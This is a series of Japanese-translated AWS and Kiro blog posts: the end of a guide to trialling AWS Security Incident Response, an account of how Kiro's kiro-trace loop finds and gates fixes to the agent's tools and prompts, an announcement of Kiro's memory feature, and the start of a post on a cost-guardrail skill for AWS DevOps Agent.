で設定した委任管理者アカウントにサインインし、 Security Incident Response を検索して、 [サインアップ] を選択します。 委任管理者アカウントでセットアップを完了する メンバーシップの詳細を定義します。 [リージョンの選択] でホームリージョンを選択します。 [メンバーシップ名] に、組織の命名規則に従った適切な名前を入力します。 [メンバーシップの連絡先] で、 [プライマリ連絡先] と [セカンダリ連絡先] の情報を入力します。 組織のタグ付け戦略に従って [メンバーシップタグ] を追加します。 [次へ] を選択します。 アクセス許可を設定します。 [By choosing this option…] (このオプションを選択すると…) で始まるオプションを選択し、 [次へ] を選択します。 サービスのアクセス許可を確認し、 [次へ] を選択します。 メンバーシップの設定と詳細を確認し、 [サインアップ] を選択します。 注: 詳細な手順は、 YouTube のセットアップ動画 で確認できます。 多くの組織では、IR とセキュリティ脅威管理のためのプロセスやアプリケーションスイートが既に確立されています。こうした既存の環境に対応できるよう、AWS は一般的な ITSM およびケース管理アプリケーションとの統合を開発しました。 AWS Security Incident Response は、Jira および ServiceNow との双方向の統合 (ケースの更新が双方向に同期されます) と、 Amazon EventBridge を介した Slack および PagerDuty とのイベント駆動型の統合に対応しています。対応する統合は今後も追加される予定です。AWS では、セットアップ手順を詳しく説明したガイドを GitHub で提供しています。 訳注: 2026 年 10 月時点のユーザーガイドでは、Slack も Jira や ServiceNow と同様に、ケースの更新を双方向で同期する統合として案内されています。詳細は「 ステップ 4: 既存のツールと統合する 」を参照してください。 初日から価値を最大化する サービスを有効にするとすぐに、Security Incident Response は GuardDuty の検出結果の取り込みを開始します。セキュリティパートナーとの連携を設定している場合は、Security Hub CSPM の検出結果も取り込まれます。検出結果は決定論的な評価ロジックによって自動的にトリアージ、モニタリングされます。そして、組織固有のメタデータとセキュリティ境界に基づいて、優先度の高い脅威が Security Incident Response のコマンドセンターにエスカレーションされ、直ちに調査されます。組織は最初から 24 時間 365 日の保護を受けられますが、以下の推奨事項に沿って最適化を行うと、ビジネス固有のリスクとコンプライアンス要件に合わせてカスタマイズされた保護を実現できます。その結果、脅威検出の精度が大幅に向上し、誤検知が減り、対応時間が短縮され、全体的なセキュリティポスチャが強化されます。 Security Incident Response の価値をすぐに最大限引き出すために、初日から リアクティブ な機能を活用することをお勧めします。チームが疑わしいアクティビティを確認した場合や、専門家による調査が必要な場合は、サービスポータルから AWS がサポートするケースを作成し、AWS のセキュリティインシデント対応担当者に直接支援を依頼できます。これらのセキュリティの専門家はチームの能力を効果的に補い、専門知識とガイダンスを提供して、潜在的なセキュリティ上の懸念を迅速に把握、封じ込め、修復できるよう支援します。AWS のセキュリティインシデント対応をオンデマンドで利用できるため、平均解決時間を短縮し、潜在的な影響を最小限に抑えられます。また、社内リソースだけでは対応しきれない複雑なセキュリティシナリオでも、専門家のサポートを確実に受けられます。 リアクティブなサポートへの問い合わせ例を次に示します。 環境内で、さまざまな API コールを実行している疑わしい IP アドレスを確認しました。調査を支援していただけますか？ 2 日前に新しいアカウントが作成されたことが、 Amazon EventBridge ルールおよびエンドポイント検出と対応 (EDR) の統合から通知されました。影響範囲の特定と作成者の調査を支援していただけますか？どのように作成されたのでしょうか？ AWS Identity and Access Management (IAM) ユーザーがクロスリージョンの API コールを実行し、使用していないリージョンでリソースを作成しています。 EDR ソリューションが本番ウェブサイトで異常な動作を検出しました。侵害の可能性があります。 EDR が疑わしいウェブシェルのアップロードとアクティビティを検出しました。調査と隔離を支援してください。 あるユーザーが、自身の権限レベルを超える不正な API アクティビティを実行しました。権限昇格の特定を支援してください。 AWS WAF と Amazon Elastic Compute Cloud (Amazon EC2) インスタンスのセキュリティログの分析を支援してください。侵害の痕跡や疑わしいパターンはありますか？ 次のステップ AWS Security Incident Response の採用を決めて POC をデプロイする場合は、次の対応をお勧めします。 GuardDuty を設定してデプロイし、管理アカウントとメンバーアカウント、重要なサービス、ワークロード全体で、包括的かつ適切な保護範囲を維持します。 サードパーティ製セキュリティツール (CrowdStrike、Lacework、Trend Micro など) が Security Hub と適切に統合されていることを確認します。 セキュリティインシデント対応ツールの変更について、組織内の関連チームに周知します。 まとめ この記事では、AWS Security Incident Response の POC を計画、実装する方法を紹介しました。成功基準の定義、Security Incident Response の構成、Security Incident Response がビジネスニーズを満たしているかどうかの検証といったフェーズに沿って、その進め方を説明しました。 このガイドは、お客様が Security Incident Response の POC を成功させるのに役立ちます。現在提供されている機能の導入を検討する際に、その価値と考慮すべき要素を評価するための指針となります。 その他のリソース AWS Security Incident Response – はじめに Security Hub を介したセキュリティツール統合の設定 Amazon EventBridge を使用した Security Incident Response イベントの管理 Amazon GuardDuty のベストプラクティス AWS Security Hub のベストプラクティス AWS セキュリティインシデント対応ガイド (ベストプラクティス) AWS Managed Services のオファリング AWS Security Incident Response ブログ : インシデント対応ライフサイクルの加速に向けたお客様のジャーニー この記事に関するご質問は、 AWS サポートにお問い合わせ ください。 Kyle Shields Kyle は、AWS で脅威検出とインシデント対応を専門とする Security Specialist Solutions Architect です。現在は、AWS を利用するエンタープライズのお客様が AWS Security Incident Response を導入、運用し、セキュリティポスチャを向上できるよう支援することに注力しています。 Matt Meck Matt は、AI とサイバーセキュリティの分野で 10 年の技術経験を持つ WW Security Specialist で、そのうち 3 年間は AWS で検出と対応の領域に携わっています。ニューヨークを拠点とするアウトドア好きで、サッカーやスキーを楽しんだり、次に登る山を探したりして過ごしています。 Pauly Longani Pauly は Enterprise Support Lead として、お客様と協力しながらクラウドの導入を推進し、ビジネス成果の創出を加速しています。クラウドソリューションを活用した複雑なビジネス課題の解決に深い専門知識を持ち、お客様の立場に立った支援に情熱を注いでいます。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

Kiro の ファイル読み取りツールと検索ツール の説明に、 ハーネス の動作について事実と異なる主張をする一文がありました。この一文は数百のセッションで 61,742 回モデルに届いていました。何の役にも立っておらず、誰かがチケットを起票することもまずなかったでしょう。こうした問題は見つけるのが難しく、修正の良し悪しを判断するのも同じくらい難しいものです。たとえば私たちは、より多くのタスクに合格し、使用トークンも少ない修正をあやうくリリースするところでした。結果をホストごとに分けてみると、改善のほぼすべてが、エージェントがいつもはまり込むループからたまたま抜け出した 1 回の実行によるものだとわかったのです。そのホストを除くと、その修正は遅く、コストが高く、精度も下がっていました。自分の修正を自分で採点するループなら、これをリリースしていたでしょう。 図 1: 平均では改善に見えた修正を、ホスト別に分けた結果 私たちは、AI コーディングエージェントである Kiro を、Kiro 自身の実行結果から改善するための社内トレーシングシステムを構築しました。社内で kiro-trace と呼んでいるこのシステムは、実行結果を読んで Kiro が失敗している箇所や無駄な労力を使っている箇所を見つけ、変更を提案し、その変更を退けるために作られたチェックをくぐり抜けた場合にだけ変更を残します。これらのチェックは、先ほどの例のように勝ちに見えて実際には運にすぎなかった結果を捕まえるためのものでもあります。変更を提案するのはモデルでも構いませんが、受け入れるか退けるかは決定的なコードで判断します。 最初の 1 週間で、kiro-trace は Kiro に 8 件のプルリクエストを出しました。7 件がマージされ、1 件は無関係な理由でクローズされ、コードレビューで差し戻されたものはありませんでした。7 件はいずれも Kiro のプロンプトやツール、つまりツールの説明、引数のチェック、応答の振る舞いを変更するものでした。どれも私たちが計測していた特定のパターンを対象にしており、どれもそのパターンを改善しました。いくつかはこの記事の後半で結果とともに紹介します。残りは、ユーザーに見えるエラーとして表面化したことはなく、指摘するチケットもありませんでした。人が見つけることもできたでしょうが、それには誰にも時間がないほど大量の実行結果を読む必要がありました。これが、Kiro が自己改善を続ける仕組みです。 以下の数値は Amazon 社内での Kiro の利用から得たもので、どの数値も本番環境での推定値ではなく社内実験での差分です。関連記事の Continuous Prompt Evaluation では、人が書いたプロンプトの変更を LLM ジャッジとライブ A/B テストでどう評価しているかを紹介しています。この記事はその続きとして、実行軌跡 (trajectory) の自動マイニング、変更の生成、ハーネスの自己改善を扱います。 自己改善が難しい理由 先月、Kiro のコアモジュールには 141 件のバグ修正コミットが入りました。1 日 5 件近くになり、しかもこれは人が気づいて修正する時間を取れた失敗だけの数です。最も厄介な問題は、きれいなバグ報告の形では現れないことがほとんどです。エージェントがエラーからどう回復するか、ツールをどの順序で使うか、長いコンテキストをどう保持するかの中に潜んでいて、何千もの実際の実行を読み通して初めて気づきます。この記事の冒頭のツール説明の一文は、その種の問題の一例です。 そのため、やるべきことは、Kiro が失敗したり無駄な労力を使ったりしている箇所を見つけ、他の箇所で退行を起こさずに改善するよう Kiro を変更することです。これはバグ修正よりも範囲が広く、誤解を招くツールの説明、形式上の理由で拒否されるツール呼び出し、無駄な呼び出しやトークン、エラー後の不十分な回復、もう役に立たなくなった指示まで含みます。これらを見つけるために何千もの実行を人手で読むことは誰にもできないので、この作業は自動化する必要があります。わかりやすい近道は、エージェントに最初から最後まで自分自身を改善させることですが、多くの自己改善ループがつまずくのはまさにそこです。自分の修正を自分で採点するループは、その場しのぎの局所的な対処をリリースして先へ進んでしまいます。これを正しく行うには、kiro-trace は 4 つの問題を同時に解く必要があります。1) 修正する価値のある失敗を見つける、2) その原因を狙った変更を書く、3) ベンチマークに合わせ込まず汎用的な解決策に保つ、4) 変更によって結果が改善したことを証明する、の 4 つです。自己採点ループは 4 番目を飛ばしており、それがなければ 1 から 3 にやる価値があったのかを知る手段がありません。 図 2: 素朴な自己採点ループ 図のループは、各変更を狙った問題に対してしかチェックしないため、新しい変更が以前の変更で直したものを壊しても、ループは気づきません。これは、ループの外で退行をチェックするものが何もないときに起こります。kiro-trace では、候補は Kiro がすでに合格しているタスクでも実行され、最終候補はベンチマーク全体で変更を加えていない対照群と比較され、プルリクエストはマージ前に通常のコードレビューも通ります。 kiro-trace の仕組み 次の図は、ループの 1 回分の流れを示しています。左側から、ベンチマークと、人が承認したライブトラフィック上の不満という証拠が入ってきます。ループは失敗を読み、診断し、変更するレバーを 1 つ選び、同じ Kiro で変更をオフにした場合とオンにした場合を実行します。その後、3 段階のゲート (スクリーニング、退行チェック、確認) が判定します。合格した変更は人がマージするためのプルリクエストになり、退けられた変更は診断に戻ります。 図 3: kiro-trace のループ 私たちは常に 3 つの役割を分けています。変更を書く者と、それが機能したかを判断する者が同じだと、変更を受け入れてしまいがちだからです。これは私たち自身の失敗から学んだことでもあります。比較結果を人手で判定していたとき、同じ実行を 3 通りに読んでしまったことがあり、それが現在判定をコードに置いている理由です。Kiro は改善される側のエージェントです。ループは変更を提案して適用します。ゲートは普通のコードで、変更を残すかどうかを判定します。この 3 つとは別に、最終的なマージの判断は人が行います。以下は、それぞれの部分を作る中で学んだことです。 ベンチマーク全体ではなく、失敗に対して反復する 毎回ベンチマーク全体を実行するのは時間もコストもかかりますし、タスクは互いに置き換えのきくものではありません。タイムアウトするもの、実質的には長いコンテキストのテストになっているもの、エージェントではなく評価ハーネスが原因で失敗するものもあります。そこでループは、各タスクについてすでに知っていること、つまり失敗の種類、コスト、そもそも本当の信号になっているかどうかを使って、無駄なものを含めずに失敗の種類を網羅する小さなセットを組み立てます。ループはその小さなセットで反復するので、速く低コストです。ベンチマーク全体は、候補が小さなセットで合格した後、最後に一度だけ実行します。変更を加えた実行を、変更を加えていない対照群の実行と全体で比較し、小さなセットでは勝っても全体では勝てない変更はリリースしません。 レビュアーを Kiro 自身の履歴に基づかせる 汎用的な LLM ジャッジは、どんな実行でも読んで修正を提案できますが、あなたのエージェントループや推論レイヤーのことは知りません。kiro-trace のレビュアーは Kiro の実際のコードレビューのコメントや開発者の議論を読んでいるので、このチームが指摘するであろうことを指摘します。レビュアーが検討するアイデアは証拠から来ています。Kiro があるタスクに失敗すると、ループは同じタスクを、同じ入力と予算で、参照エージェントの一団に実行させます。参照エージェントとは、Kiro の実行と比較するための、他の高性能なモデルやエージェントです。Kiro が失敗したところで参照エージェントのどれかが成功すれば、その差は、ループが修正に変えられる具体的な振る舞いになります。これとは別の調査ステップでは、論文から公開コード、同じ問題を他のエージェントがどう解いているかまで、外部の取り組みから汎用的な手法を取り込みます。それらのコードをコピーすることはありません。各候補は、診断した失敗と引用した証拠を記録するので、どの修正もその根拠までたどれます。最近のモデルはすでに多くのことを知っているので、既定ではルールを追加する前に何かを削除することを試みます。 モデルの手が届かないチェックを通じて、差分で判定する 修正を数回実行して平均を見るだけでは、一貫した結果は得られません。先ほどの例のように、外れ値 1 つで結果が大きく振れるからです。そこで変更は、最も安価なものから順に段階的に厳しくなる一連のチェックにかけられ、ほとんどの候補は高価なチェックに進む前に落ちます。通常の A/B テストとは異なり、私たちはスコアではなく差分を計測し、毎回対照群を再実行します。そのため、報告される改善はその変更による寄与であり、新しいモデルならどのみち出していたであろう結果ではありません。また、変更は定めたマージンに照らして退行していないことを示す必要があります。サンプルが少ないと、検出力の弱い検定は既定では何も有意なものを見つけませんが、実際の害を持ち込むことはあり得るからです。最後に、汚染チェックで、エージェントが自分で解くのではなく、タスクのソースやテストを取得するなどネットワークを使ってタスクの答えを調べた合格を除外します。 図 4: 3 段階のゲート 修正の例 弱い候補は早い段階でふるい落とされるので、人のレビュアーに届く変更は、たいてい意味のあるものです。以下にいくつか紹介します。数値はいずれも社内実験での差分です。 すべてのファイル読み取りと検索に付いていた、ハーネスの動作に関する誤った主張。 モデルは 445 サンプルの中でこれを 61,742 回目にしていましたが、何にも使われていなかったので削除しました。 存在しないツールを呼び出すようモデルに指示していたガイダンス。 削除しました。 冗長なファイルの再読み込みを約 83% 削減。 変更されていないファイルを読み直さないようにしました。 厳しすぎる、または説明が不十分なツールの契約 2 件を修正。 サンプリングした 80 セッションで、読み取りツールのスキーマによる拒否 205 件と、 サブエージェント のオーケストレーションでの拒否 167 件を解消しました。 型に厳密なツール入力が、形式上の理由で失敗しなくなった。 モデルがブール値を生のブール値ではなく文字列の “true” として返すと、呼び出しが拒否されて作業が止まっていました。現在はそうした値をリトライ時に補正するので、意図の正しい呼び出しは通ります。 検索のおよそ 8 回に 1 回を失敗させていた、表に出ないファイル検索のバグ。 仕様の誤りによりエラーなしで空の結果が返り、エージェントは検索しても何も見つけられませんでした。修正済みです。 過剰な委任を根本から削減。 単純な直接編集にもサブエージェントを起動させていた一律の委任指示を削除し、役に立つ場面での委任は残しました。 より厳格な参照エージェントを一団に加えたことで、探していなかったものが見つかりました。その参照エージェントの読み取りの 13〜17% を失敗させていた相対パスのバグが、私たちがリリースしているモデルでは 1.6% しか現れていなかったのです。より寛容なモデルが、仕様の欠陥をエラーなしで吸収していました。仕様を修正すれば、同じ契約を共有するすべてのモデルの助けになります。その修正は現在レビュー中です。 最も大きな変更はまだリリースしておらず、チームでレビュー中です。積極的に削除を進めた結果、ループはより小さなツールとプロンプトの構成を作り上げ、Terminal-Bench 2.1 で pass@1 (最初の試行で解けたタスクの割合) が 77.5% に対して 82.4% となり、トークンコストはおよそ 3 分の 1 でした。まだリリースしていないのは、すべての Kiro ユーザーの既定のツールとプロンプトが変わるためで、これはベンチマークの判断というより製品の判断だからです。チームは、より小さな構成を既定にするかどうか、そして削除したツールのうちどれをタスクで必要なときだけ戻すかを検討しています。 kiro-trace はどのようにコンパクションの保持率を 0.82 から 0.92 に上げたか ここまでの修正は小さく、それぞれ独立したものでした。 コンパクション は、ループが 1 つの問題に診断からリリースまで取り組む様子がわかるので、最初から最後まで順を追って見ていく価値があります。コンパクションとは、長い会話がコンテキストの上限に達したときに Kiro が会話を要約し、新しいインスタンスが作業を続けられるようにする仕組みです。次の図は、修正をどう選んだかを示しています。11 個の要約プロンプトの候補 (Kiro から 2 個、外部の取り組みから 5 個、私たち独自のもの 4 個) を、新しいエージェントが要約だけから作業を続けられるかという観点で総当たりで比較しました。 図 5: コンパクション用の 11 個の候補プロンプト 診断する コンパクションの後、Kiro が現在のタスクを放棄して、ずっと前のタスクを自信満々に再開してしまうことがありました。以前の設計では、過去のユーザーメッセージを新しい順に並べた生のダンプをすべての要約の末尾に付け加えていました。そのため要約は最も古い質問で終わり、その直後に「上の要約から再開する」という合図が来ていました。きっかけとなったメッセージが「うん、それやって」のような短いものだった場合、そのメッセージのコンテキストは要約されて消えている一方で、古いスレッドは一字一句残っていたため、エージェントはその了承を別の依頼に結び付けてしまっていました。 計測する kiro-trace は、実際にコンパクションが発生した社内の実際の会話から、最大約 150 万トークンまでの 4 つのサイズ帯でベンチマークを作りました。要約は、それをもとに誰かが作業を引き継げるかどうかで評価しました。各候補の要約だけを他に何も与えずに新しいモデルに渡し、作業を続けられたかを採点したのです。スコアは、要約が行動に移せる内容になっているか、ファイルパスが含まれているか、以前の決定事項が書かれているか、話の流れがつながっているかの 4 点を対象にしました。私たちはこのスコアを保持率 (retention) と呼んでいます。作業を続けるために必要なものがコンパクション後にどれだけ残っているかを、0 から 1 の尺度で表したものです。 外部の取り組みを参考にする kiro-trace は、本番運用されているさまざまなエージェントや公開されている引き継ぎの手法がどのようにコンパクションしているかを読み、それぞれをプロンプトとして組み直しました。全部で 11 個になり、そのうち 5 個は私たち自身のコード以外から来たものです。中身は多岐にわたり、複数のセクションからなる長いテンプレートもあれば、簡潔な固定テンプレートもあり、状況・行動・結果の形で語るナラティブもあれば、いつコンパクションするかを決めるステップもありました。 レバーを見つけてリリースする 修正は、コンパクションをまたいで引き継ぐコンテキストを減らすことでした。以前の Kiro は要約に加えて古いユーザーメッセージの生のリストを残しており、エージェントを誤ったタスクに戻していたのはそのリストだったので、並べ替えるだけでは足りませんでした。外部のプロンプトからは比較対象とすべき設計の幅がわかりましたが、リストをなくすというアイデアは、失敗に対する私たち自身の診断から生まれたものです。修正ではそのリストを削除しました。現在のコンパクションは、簡潔な固定テンプレートで書かれサイズに上限のある短い要約と、直近のターンを残します。そして、どのタスクも名指ししない固定の再開の合図で終わります。1 つのセッションでは複数のタスクが進行中のことがあり、そのうち 1 つを推測することが誤った結び付けの原因だったからです。保持率は 0.82 から 0.92 に上がり、この修正はリリースされました。 ループはすべての候補について同じ記録を残します。診断した失敗、使った証拠と外部の手法、変更した 1 点、計測した結果です。どの部分もタスクの答えそのものには触れません。 ループ自体をどう改善し続けているか kiro-trace は Kiro と並行して、ループ自体も改善し続けています。最初は私たち自身のこれまでの研究とコードから引き出したチェックから始まり、その後は失敗から育ってきました。新しいチェックはどれも、ループかチームが一度何らかの具体的な形でだまされたことがあるから存在しており、その多くは Kiro のバグではなく、私たちの計測方法の誤りでした。 あるケースでは、正しい修正の出力が採点器に届いていなかったため、0/5 と採点されました。別のケースでは、タスクのセットアップがエージェントに自分の誤りを元に戻す手段を与えており、それが本物のバグを隠していました。また、古いチェックアウトのせいで、前日に上流で修正済みだったものに対してプルリクエストを出してしまったこともあります。こうした一つひとつが、ループのコードのチェックになりました。 確認済みの修正はそれぞれ、その実行に関する決定的なアサーションを恒久的な退行テストスイートにも追加します。そのため、一度直した失敗が検出されずに再発することはありません。現在、これらのチェックは 1 つのチームから生まれたものです。次のステップは、Amazon がすでに対価を払って得た教訓である、解決済みのインシデントやチケットをもとにチェックを作ることです。そうすることで、お客様はより信頼性の高いエージェントと、より良い開発者体験を得られます。 まとめ kiro-trace は、Kiro 自身の実行の中から問題を見つけ、変更を 1 つずつ提案し、決定的なチェックとその後の人のレビュアーが受け入れた場合にだけ変更を残します。1 週間で 7 件の修正がマージされ、コンパクションの取り組みでは保持率が 0.82 から 0.92 に上がりました。 得られた教訓 提案する者と判定する者を分けること。受け入れと却下は、モデルの手が届かないコードに置きます。 差分で判定し、毎回対照群を再実行すること。新しいモデルだけでもスコアは動くからです。 「有意な害がない」ことは害がないことと同じではなく、小さな害は変更を重ねるうちにすぐに積み重なります。マージンに照らして検定します。 確認済みの修正はすべて、失敗したメカニズムに対する恒久的な退行チェックにすること。そうすれば、その 1 つの結果だけでなく、より広い範囲をカバーできます。 追加する前に削除を試すこと。最も安全な改善は削除であることが多く、モデルが良くなるほどその傾向は強まります。 Kiro のユーザーにとっては、無駄な呼び出しが減り、委任がより慎重になり、長い会話の中で Kiro が自分のしていたことをよりよく把握できるようになるということです。kiro-trace による変更は、それを退けるために作られたチェックを備えたゲートを通過し、その後に人のコードレビューを経るまで、ユーザーに届くことはありません。私たちはエージェントの実験を、まず何を退けたかで評価します。ほとんどの候補はゲートを通過できず、通過したものこそが開発者体験を意味のある形で改善できる変更です。 Kiro は今すぐ お試しいただけます 。 この記事は Kiro ブログの How Kiro fixes itself, and how we keep the fixes honest を翻訳したものです。

本日、 Kiro IDE と CLI にメモリ機能を導入します。Kiro は、あなたが好む作業の進め方、リポジトリ固有のコマンドや規約、受けた訂正、デバッグで得た知見、すでに除外したアプローチを覚えておけるようになります。それらが再び関係する場面になると、Kiro はあなたのコンテキストを引き継ぎます。コンテキストを説明し直したり同じ訂正を繰り返したりする時間が減り、Kiro は言われなくてもあなたの好みに沿って動けるようになり、使い込むほど役に立つ存在になります。 (元記事では、Kiro CLI でメモリを操作するターミナルの録画を掲載しています。 元記事 でご覧ください。) 作業の途中で出てきたことを覚える ルールやプロジェクトドキュメント は、あらかじめ意図して書き出せるコンテキストを、Kiro に一貫して適用させたい場合に向いています。メモリは、作業を進めるうちに出てきて、放っておけば書き留められないままになりがちなコンテキストのためのものです。 たとえば、ある種のロジックをどこに置くべきかについて Kiro を訂正することがあるでしょう。デバッグ中に、ローカルのサービスを起動してからでないと統合テストが通らないと気づくこともあります。Kiro に変更をどう進めてほしいかという好みが固まることもあります。メモリを有効にすると、Kiro はこうした細かな点を、出てきたその場で記録します。 メモリは過去の会話を再生するのではなく、後の作業に役立つ具体的なコンテキストを保持します。理解が変われば、Kiro はメモリを更新して精度を上げられます。メモリはお使いのマシンのローカルに保存され、そのマシン上の Kiro IDE と CLI の間で共有されます。そのため、一方のクライアントで記録したコンテキストをもう一方でも使えます。各メモリはグローバルにも特定のリポジトリにも適用でき、Kiro は全般的な作業の好みと、特定のコードベースに属するコンテキストを区別できます。 Kiro が覚えている内容を確認し、管理する IDE では、Kiro がメモリにアクセス、作成、更新、削除したときにチャットに表示されるので、Kiro が覚えている内容をいつ使い、いつ変更しているかがわかります。アクティビティバーから Memories ビューを開くと、Kiro が覚えている内容を一覧・検索でき、各メモリの適用範囲を確認し、個々のエントリを詳しく見て、もう残しておきたくないものを削除できます。CLI では、呼び出されたメモリがチャットに Memory エントリとして表示され、 /memories で保存済みのメモリを検索、プレビュー、表示できます。 今回のリリースでは、メモリは既定でオフになっています。IDE と CLI のどちらでも、Kiro が既存のメモリを使えるかどうかと、メモリを作成・更新できるかどうかを設定できます。呼び出されたメモリは Kiro が使えるコンテキストの一部になるため、メモリを使うとコンテキストの使用量が増えることがあります。これらの設定によって、Kiro に何を引き継がせるか、そして作業を進めながら学習を続けさせるかどうかを決められます。 使い始める Kiro IDE では、アクティビティバーから Memories ビューを開いて設定を開き、 Use and learn を選びます。これで Kiro は既存のメモリを使い、作業に合わせてメモリを自動的に作成・更新するようになります。有効にした後は、いつもどおり Kiro と作業してください。Memories ビューにはいつでも戻って、Kiro が覚えている内容を確認したり、不要になったメモリを削除したり、メモリの動作を変更したりできます。 Kiro CLI では、メモリはローカルの V3 セッションで利用できます。 /memories と入力すると、保存済みのメモリを確認したり、アクセスを設定したりできます。 read & write アクセスにすると、メモリの自動更新を有効にでき、Kiro が作業に合わせてメモリを作成・更新するようになります。メモリのアクセス設定の変更は、新しい CLI セッションから反映されます。 提供状況 メモリは Kiro IDE 1.4.0 以降と、Kiro CLI 2.29.0 以降のローカル V3 セッションで利用できます。メモリは既定でオフになっており、IDE と CLI のどちらからでも有効化と設定ができます。 同じ説明を繰り返す時間を減らし、作業を前に進めることに時間を使いましょう。次の Kiro セッションでメモリをオンにしてみてください。設定と管理の詳細は メモリのドキュメント をご覧ください。 この記事は Kiro ブログの Introducing memory in Kiro IDE and CLI を翻訳したものです。

はじめに AWS DevOps Agent の調査において、最初の課金対象クエリを実行する前に、どれくらいの費用がかかるかを確認の上、利用するかどうかを判断できます。Investigation Cost Guardrail スキルは、 AWS DevOps Agent にコスト意識をもたらし、調査の開始前にどこまで調べるかをチームが把握・制御できるようにします。 本記事では、オープンソースの AWS DevOps Agent スキルである Investigation Cost Guardrail を紹介します。このスキルは、Amazon CloudWatch、AWS X-Ray、Amazon Athena、Amazon DynamoDB、Amazon S3、AWS CloudTrail といった設定済みの AWS サービスや、サードパーティーツール、エージェント自身のネイティブツールをまたいでエージェントが実行するオペレーションを分類します。そのうえで、見積もり時点における対象リージョンの最新料金を取得します。本記事では、仕組みを説明し、具体的なシナリオを示しながら、自律型 AI にとってコスト意識がセキュリティガードレールと同じくらい重要になりつつある理由を解説します。 DevOps の考え方は、開発と運用の間にあるサイロを取り除くことです。AWS DevOps Agent も同じ原則を体現しています。アプリケーションに関する知識と運用の専門知識の隔たりを埋め、両方の領域を横断してデバッグできる、チームのもう一人の SRE のように機能します。DevOps の考え方が文化とプラクティスをもたらすのに対し、エージェントは自律的な実行をもたらします。 「You build it, you run it（作った人が運用する）」が説明責任を意味していたのに対し、AWS DevOps Agent が目指すのは、大規模環境における持続可能性です。チームの専門知識を 24 時間 365 日利用できるように拡張することで、システムが成長し、単一のチームだけでは監視しきれなくなっても、このオーナーシップモデルを維持できるようになります。 本記事のシナリオとコストの数値はあくまで例です。実際のコストと結果は、リージョン、データ量、現在の AWS 料金によって異なります。 安心して任せるための原則：場数で培われるコスト感覚 あるアクションにどれくらいの費用がかかるかを見積もることは、クラウドで身につけるのが最も難しい感覚の一つです。広範なクエリやテーブル全体のスキャンから学び、実行前にスコープを絞ることが自然にできるようになるまで、時間をかけて身につけていくものです。 AWS DevOps Agent は、シニア SRE が持つ自律性と高度な調査能力をもたらします。このガードレールを使うことで、エージェントは初日から同じコスト意識を備え、実行する各アクションに一貫して適用します。経験豊富なエンジニアが本能的に実践するのと同じ規律で、実行前にスコープとコストを見積もります。 AI ガードレールを取り巻く状況 AI ガードレールとは、AI システムが安全かつ責任を持って、定義された境界内で動作し続けるための安全装置です。AI モデルがどのように出力を生成し、アクションを実行するかを統制するポリシー、技術的な制御、監視の仕組みが含まれます。 ガードレールに関する議論の多くは、コンテンツの安全性、プロンプトインジェクションの防止、意図しない情報開示に焦点を当てています。これらは重要ですが、AI エージェントが「考える」段階から「行動する」段階に移った瞬間、もう一つの側面が極めて重要になります。それは、アクションを実行する前に、そのアクションのコストを把握することです。 従来のソフトウェアのコストは決定論的です。API コールのコストは、呼び出す前にわかります。一方、自律型エージェントは、どの API を呼び出すか、何回呼び出すか、どのスコープを対象にするかを動的に判断します。このスキルにより、こうした動的なコスト構造を事前に可視化し、調整できるようになります。これにより、コストは調査において明示的に考慮される判断材料になります。 AI エージェントの責任共有モデル AWS DevOps Agent では、責任共有モデルを自律型エージェントにまで拡張できます。 AWS DevOps Agent は、調査機能と、それを統制するためのエージェント指示やスキルなどの制御手段を提供します。 利用者はガードレールを設定し、しきい値を決め、エージェントが動作する境界を定義します。 実際の運用で定着するガードレールには、次の 3 つの共通点があります。 必要に応じて有効・無効を切り替えられる（オプトインまたはオプトアウト） 理解するための専門知識が不要 介入時に明確なガイダンスを提供する これが、このガードレールの設計思想です。クラウド料金の専門家にならなくても、コストの透明性を得られます。 AWS DevOps Agent スキルとは コストガードレールの詳細に入る前に、スキルとは何か、そしてエージェントインストラクションとどう違うのかを理解しておくと役立ちます。 スキルは、調査手順と運用ナレッジをまとめた再利用可能なパッケージです。現在のタスクに関連する場合、エージェントによってオンデマンドで読み込まれます。これにより、AWS DevOps Agent は汎用アシスタントから、利用者のインフラストラクチャに精通したスペシャリストへと変わります。 最もシンプルな形では、スキルは SKILL.md とオプションの参照ファイルを含むディレクトリです。 SKILL.md ファイルには、次の内容が含まれます。 フロントマター：名前と説明 エージェントが調査中に従う段階的なインストラクション description フィールドは非常に重要です。エージェントはこのフィールドを使って、そのスキルを読み込むかどうかを判断します。調査が始まると、エージェントは利用可能なすべてのスキルの説明を読み、関連するものを選択します。複数のスキルを同時に読み込むこともできます。 スキルとインストラクション：スーパーパワーと基本命令 AWS DevOps Agent には、運用ナレッジを注入するための 2 つの仕組みがあります。   スキル エージェントインストラクション（AGENTS.md） 読み込まれるタイミング オンデマンド（エージェントが説明と現在のタスクを照合） 常時（無条件、すべてのセッション） コンテンツ形式 Markdown、または補助ファイルを含む ZIP バンドル Markdown のみ、補助ファイルなし 適用範囲 特定のイベントタイプに特化 セッションをまたいで適用されるグローバルポリシー 例えるなら 必要なときにエージェントが発動するスーパーパワー エージェントが常に従う基本命令 ユースケース 調査手順、トラブルシューティングのプレイブック セキュリティポリシー、コーディング標準、組織のガイドライン エージェントインストラクションは、すべてのセッションで無条件にエージェントのコンテキストへ注入されるシステムプロンプトです。常に適用しなければならない常設ポリシーには、インストラクションを使用します。 スキルは、関連するときにだけオンデマンドで読み込まれるスーパーパワーです。参照ファイル、メトリクステーブル、複数ステップの手順を含めることができ、必要のないセッションに読み込むと無駄になるような、深く専門的な能力を表現します。 重要な違いは、インストラクションがエージェントにどのように振る舞うかを教えるのに対し、スキルは特定の問題をどのように調査するかを教える点です。 ソリューション概要：調査コストガードレールのワークフロー 次の図は、調査におけるコストガードレールの位置を示しています。エージェントが調査対象リソースを特定した後、課金対象クエリを実行する前という、可能な限り早い段階でワークフローに介入します。 図 1：AWS DevOps Agent における Investigation Cost Guardrail スキルの仕組み 仕組み：4 層アーキテクチャ 各 AWS サービスの各操作について課金対象かどうかをハードコードするのではなく、このスキルは上の図 1 に示した 4 層アーキテクチャを使用します。これらの層は連携して、レジストリに登録されていないサービスやエージェント自身のネイティブツールも含め、AWS サービス全体の操作を分類します。 Layer 0：ネイティブツールの分類 エージェント自身の各ツールには、課金対象か非課金対象かが明示されています。PromQL（ get_prometheus_metrics ）、 use_splunk とその他のサードパーティー統合、shell、サブエージェントの起動はすべて分類されます。 use_aws もこれらと同様ですが、後続のレイヤーでさらに詳細に分類されます。 Layer 1：ヒューリスティックルール 